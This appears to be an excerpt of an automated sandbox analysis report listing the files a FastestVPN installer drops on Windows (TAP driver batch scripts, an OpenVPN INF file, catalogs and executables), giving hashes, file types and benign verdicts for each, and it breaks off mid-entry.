                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.cat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10042
                                                                                                                Entropy (8bit):7.139091215265505
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:rrIa34E9odZubhd95wRLeOup+ZscF8Bd1LEqsa9sgfxIZH54o:nCZYQA9+ZsHLEhDgf2h54o
                                                                                                                MD5:685D08D5E2A2450648A40B518E2046FC
                                                                                                                SHA1:D99E38968DE1CA1850971A2B81BFDAB49626AAED
                                                                                                                SHA-256:56A658934ACC55AD665D685AE05913B4710E053A8FD385C0798B96041DA161B2
                                                                                                                SHA-512:619D08317328B351FEEA51C08C57B4704EEA0A92836D6ED3BE850478EA6A9C2A14DFA30C763581608E16983010AB2E12B51E3BEC68F3480EE45A04C0E857FDB7
                                                                                                                Malicious:false
                                                                                                                Preview:0.'6..*.H........''0.'#...1.0...`.H.e......0..Z..+.....7.....K0..G0...+.....7........N.u.C...y].7...191031061137Z0...+.....7.....0...0....R0.5.1.7.3.7.1.7.7.5.6.C.F.1.9.7.8.D.3.7.8.6.4.5.A.D.A.C.6.D.6.F.3.3.5.3.C.7.C.B...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+..........7.ul.7.E..mo3S..0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RD.8.5.F.4.E.6.5.F.E.1.0.F.1.3.D.E.D.1.7.8.0.D.D.B.D.0.7.4.E.D.F.C.7.5.F.2.D.2.5...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+........._Ne...=.....N.._-%0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0v..+.....7....h0f...O.S.......XV.i.s.t.a.X.6.4.,.S.e.r.v.e.r.2.0.0.8.X.6.4.,

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39384
                                                                                                                Entropy (8bit):6.220766637489946
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:7CxLEO/+ApBG35KBOXZZoZmTf11a+uiExMFYQjEPKgz:NCI46R1a+jExMFFjWR
                                                                                                                MD5:2CCA8DC5DA7F197C8C97A2EEBCBFA908
                                                                                                                SHA1:1A463168F91A6AE254A3E99CE2691F9E7DBC2D46
                                                                                                                SHA-256:AA1EA00EA7D1FD8E404FB5FEFF948CFB86642F803BDF23D8262B8A0C1151B643
                                                                                                                SHA-512:AFBF92EA4A3C21048DC25FDC59779A0F20D6687CE9B2D0291268ED2D82A7020595AF2633EAE8623706162C36B24F6E8E70FA73F9D1088E2AB91BA8EAFB8E948F
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d....z.].........."......Z.....................@....................................:.....`A....................................................<.......X....p..H....x...!...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):498504
                                                                                                                Entropy (8bit):6.313132779768202
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:iVF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cz:iVXU/3TNfAkTnrZqkyh/agGKwNdUo15
                                                                                                                MD5:F19CFFFF76FF48E98F060A563DD8345B
                                                                                                                SHA1:C77F3FE9FFBA02DE288661FBB66656791196EDBC
                                                                                                                SHA-256:16D1FF6409065D9C0BC50FC2ADE61B3299A141CF2553749D8891BEDBEA43DE70
                                                                                                                SHA-512:0D4A53FA4B0D4FF71AF1FFF5888005570404BF5309942F477B1D754073F6D200ABADE20DAAFFA3FB6DA55F2B23588CA439273BD9268257B83B00F973B7B61841
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d....z.].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..H#......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\uninstall_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\OemVista.inf (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7533
                                                                                                                Entropy (8bit):5.046821594517318
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\install_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-3FPII.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):387400
                                                                                                                Entropy (8bit):6.458236487570103
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:UTksWxn+v8a7/e3uFm4uy6b1aptMtx1IAOrPdmB4SS4Vw3VTBZiA916NkW:Akska7m3uFm4uy6b10MtxnOrPdmBe3XE
                                                                                                                MD5:46F33BBA03FF35C0A777B5875E832559
                                                                                                                SHA1:C4B5487307DB1B715EDA5C233DBD346EF44ABF02
                                                                                                                SHA-256:72D329B11A240403A74990F7F05CDDA684F53FBFC1E45EE3E565E38000C6FDA1
                                                                                                                SHA-512:7130F9DEE420D2A377E3CDAE0C47D1F8446E2DA4E021274A15F4FD00583F79C0DBF05819216ABBAAE5493BF1CB1E4FA08EFA673CCDA1BC3A623BAEC828DFC413
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L....z.].................<..........`m.......P....@.................................~.....@.....................................x.......................H#.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-78J0N.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7533
                                                                                                                Entropy (8bit):5.046821594517318
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-87ND4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):34264
                                                                                                                Entropy (8bit):6.451114076364161
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:nToflu9IisjjMJvOA4hKtbAwut9l/AxkDur/MvBhLwI7PKA+bkxQJ7XakZSZ4dS5:nToBjjOOA4dR/uQvBbuALxQbagPKgzW
                                                                                                                MD5:EF55CAAABD0E13C304587D941C343F77
                                                                                                                SHA1:F0E323EF510E00FC925A7FB37C625D077FECA8A3
                                                                                                                SHA-256:A4E2E4194E15BC93A53FFAB121CCE22CC76EDBC18DFB83132A95F92C9220509F
                                                                                                                SHA-512:D2C61CCB73C90D26A4D39EBADE87A6F7F23CAA34B29AE14FFA08CA48A32086C6553CA12D38362B6179E82776F3D76F4B05FDD2238B5E7BE4FEEC98A4D8D52573
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L....z.].................N...................P....@.......................................@A....................................P.......X............d...!.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EECQT.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-HG9F3.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10010
                                                                                                                Entropy (8bit):7.143392930093258
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:bdOUGdndfdZubhd95wRLeOup+ZscF8Bd1LELx8a9sgfxIZH3:p7oFZYQA9+ZsHLE98Dgf2h3
                                                                                                                MD5:BEE546D1A9EE2F74F4C9B0A347DBAB7C
                                                                                                                SHA1:BB655AEDDFACE5C498DC8EC5A3E68685FDFE6D50
                                                                                                                SHA-256:DBC0D9D157718C90227D527A9BFC87C9135426A7A1A7C0ECD3F43825AAA2EE0E
                                                                                                                SHA-512:B68F5F6572BB881B116746AB1BF90AE1E16449E0797D482B1D5A551241ED37A30EF105AECA7B1CEB62CB38962B285D29159B9E68DC1BC3B457B2A14531A80F44
                                                                                                                Malicious:false
                                                                                                                Preview:0.'...*.H........'.0.'....1.0...`.H.e......0..:..+.....7.....+0..'0...+.....7.....\.6.D..E..Wm(.p...191031061137Z0...+.....7.....0...0....R1.2.C.0.7.4.F.0.3.A.A.1.9.9.6.8.8.9.3.F.2.B.E.4.8.F.D.E.F.4.2.A.2.9.3.B.7.E.E.4...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+..........t.:..h.?+...*);~.0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RA.F.B.A.B.0.D.E.D.C.D.F.C.2.1.F.3.6.4.E.D.0.2.4.6.9.0.4.8.1.A.F.D.C.8.D.3.6.E.1...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+................6N.$i....6.0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0V..+.....7....H0F...O.S.......8V.i.s.t.a.X.8.6.,.S.e.r.v.e.r.2.0.0.8.X.8.6.,

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-RDQQ1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.cat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10010
                                                                                                                Entropy (8bit):7.143392930093258
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:bdOUGdndfdZubhd95wRLeOup+ZscF8Bd1LELx8a9sgfxIZH3:p7oFZYQA9+ZsHLE98Dgf2h3
                                                                                                                MD5:BEE546D1A9EE2F74F4C9B0A347DBAB7C
                                                                                                                SHA1:BB655AEDDFACE5C498DC8EC5A3E68685FDFE6D50
                                                                                                                SHA-256:DBC0D9D157718C90227D527A9BFC87C9135426A7A1A7C0ECD3F43825AAA2EE0E
                                                                                                                SHA-512:B68F5F6572BB881B116746AB1BF90AE1E16449E0797D482B1D5A551241ED37A30EF105AECA7B1CEB62CB38962B285D29159B9E68DC1BC3B457B2A14531A80F44
                                                                                                                Malicious:false
                                                                                                                Preview:0.'...*.H........'.0.'....1.0...`.H.e......0..:..+.....7.....+0..'0...+.....7.....\.6.D..E..Wm(.p...191031061137Z0...+.....7.....0...0....R1.2.C.0.7.4.F.0.3.A.A.1.9.9.6.8.8.9.3.F.2.B.E.4.8.F.D.E.F.4.2.A.2.9.3.B.7.E.E.4...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+..........t.:..h.?+...*);~.0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RA.F.B.A.B.0.D.E.D.C.D.F.C.2.1.F.3.6.4.E.D.0.2.4.6.9.0.4.8.1.A.F.D.C.8.D.3.6.E.1...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+................6N.$i....6.0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0V..+.....7....H0F...O.S.......8V.i.s.t.a.X.8.6.,.S.e.r.v.e.r.2.0.0.8.X.8.6.,

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):34264
                                                                                                                Entropy (8bit):6.451114076364161
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:nToflu9IisjjMJvOA4hKtbAwut9l/AxkDur/MvBhLwI7PKA+bkxQJ7XakZSZ4dS5:nToBjjOOA4dR/uQvBbuALxQbagPKgzW
                                                                                                                MD5:EF55CAAABD0E13C304587D941C343F77
                                                                                                                SHA1:F0E323EF510E00FC925A7FB37C625D077FECA8A3
                                                                                                                SHA-256:A4E2E4194E15BC93A53FFAB121CCE22CC76EDBC18DFB83132A95F92C9220509F
                                                                                                                SHA-512:D2C61CCB73C90D26A4D39EBADE87A6F7F23CAA34B29AE14FFA08CA48A32086C6553CA12D38362B6179E82776F3D76F4B05FDD2238B5E7BE4FEEC98A4D8D52573
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L....z.].................N...................P....@.......................................@A....................................P.......X............d...!.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):387400
                                                                                                                Entropy (8bit):6.458236487570103
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:UTksWxn+v8a7/e3uFm4uy6b1aptMtx1IAOrPdmB4SS4Vw3VTBZiA916NkW:Akska7m3uFm4uy6b10MtxnOrPdmBe3XE
                                                                                                                MD5:46F33BBA03FF35C0A777B5875E832559
                                                                                                                SHA1:C4B5487307DB1B715EDA5C233DBD346EF44ABF02
                                                                                                                SHA-256:72D329B11A240403A74990F7F05CDDA684F53FBFC1E45EE3E565E38000C6FDA1
                                                                                                                SHA-512:7130F9DEE420D2A377E3CDAE0C47D1F8446E2DA4E021274A15F4FD00583F79C0DBF05819216ABBAAE5493BF1CB1E4FA08EFA673CCDA1BC3A623BAEC828DFC413
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L....z.].................<..........`m.......P....@.................................~.....@.....................................x.......................H#.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\i386\uninstall_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\is-0N43E.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):2276496
                                                                                                                Entropy (8bit):6.2839627604807955
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:sqrGLY4rzqgpJdli4OLz1/SK1ULLnLWdaqTv6akDCbpCX464lnbW148y1PuDT5Wg:sqr0Y4rugpJdli4OLz1/SK1ULLLWdaq8
                                                                                                                MD5:A928351F9555A07B7A8DCEA6B209D367
                                                                                                                SHA1:66379948FB082D9EB390B77C4E00EFAD25062C9C
